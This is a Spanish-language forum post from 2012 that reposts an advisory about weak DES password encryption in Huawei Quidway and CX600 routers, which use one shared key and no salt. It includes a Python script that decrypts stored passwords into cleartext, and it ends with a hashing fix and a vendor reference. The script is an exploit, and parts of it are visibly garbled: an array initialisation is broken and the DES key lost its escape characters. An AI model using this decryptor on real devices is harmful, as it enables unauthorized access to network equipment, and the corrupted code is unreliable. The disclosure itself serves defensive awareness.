Autor Tema: Routers Huawei al ”DESCUBIERTO”:  (Leído 2370 veces)

0 Usuarios y 1 Visitante están viendo este tema.

suce

  • Visitante
Routers Huawei al ”DESCUBIERTO”:
« en: 24-11-2012, 16:05 (Sábado) »
Hola pongo esto que e leeido en otra web, no se si es el lugar adecuado.

Gracias por vuestra colaboracion.

Saludos.

Copy paste:

Para routers:
 

Huawei Quidway series
 
Huawei CX600
 
Otros modelos también pueden ser vulnerables,pero no fueron probados.
 

DETALLES DE LA VULNERABILIDAD:
 
Dispositivos de Huawei tienen un algoritmo de cifrado de contraseñas débiles. Con este esquema, las contraseñas son ofuscadas  y cifradas con DES, usando una clave de cifrado compartida entre todos los dispositivos afectados. Este esquema de cifrado no utiliza ningún mecanismo contraseña salteada. Como consecuencia, las contraseñas extraídas del dispositivo de una víctima puede ser descifrada de forma instantánea.
 
Un procedimiento de Python que decodifica una contraseña dada se incluye a continuación. Una vez terminado, el procedimiento decrypt_password () devuelve la contraseña en texto claro.
 
 CÓDIGO:
 
from Crypto.Cipher import DES
 

def decode_char(c):
 
    if c == 'a':
 
        r = '?'
 
    else:
 
        r = c
 
    return ord(r) - ord('!')
 

def ascii_to_binary(s):
 
    assert len(s) == 24
 

    out =
  • *18

 
    i = 0
 
    j = 0
 

    for i in range(0, len(s), 4):
 
        y = decode_char(s[i + 0])
 
        y = (y << 6) & 0xffffff
 

        k = decode_char(s[i + 1])
 
        y = (y | k) & 0xffffff
 
        y = (y << 6) & 0xffffff
 

        k = decode_char(s[i + 2])
 
        y = (y | k) & 0xffffff
 
        y = (y << 6) & 0xffffff
 

        k = decode_char(s[i + 3])
 
        y = (y | k) & 0xffffff
 

        out[j+2] = chr(y       & 0xff)
 
        out[j+1] = chr((y>>8)  & 0xff)
 
        out[j+0] = chr((y>>16) & 0xff)
 

        j += 3
 

    return "".join(out)
 

def decrypt_password(p):
 
    r = ascii_to_binary(p)
 

    r = r[:16]
 

    d = DES.new("x01x02x03x04x05x06x07x08", DES.MODE_ECB)
 
    r = d.decrypt(r)
 

    return r.rstrip("x00")
 

SOLUCIÓN:
 

Se recomienda almacenar las contraseñas utilizando un algoritmo de hash correcto, en lugar de aprovechar el cifrado simétrico. Por el momento, esta cuestión ha sido abordada por Huawei con aviso de seguridad Huawei-SA-20120827-01-CX600 ("Actualización asesoramiento de seguridad sobre el riesgo de que alguien irrumpa Contraseña Debido al algoritmo de cifrado DES").


Más detalles están disponibles en la siguiente URL:
 

http://support.huawei.com/enterprise/ReadLatestNewsAction.action?contentId=NEWS1000001141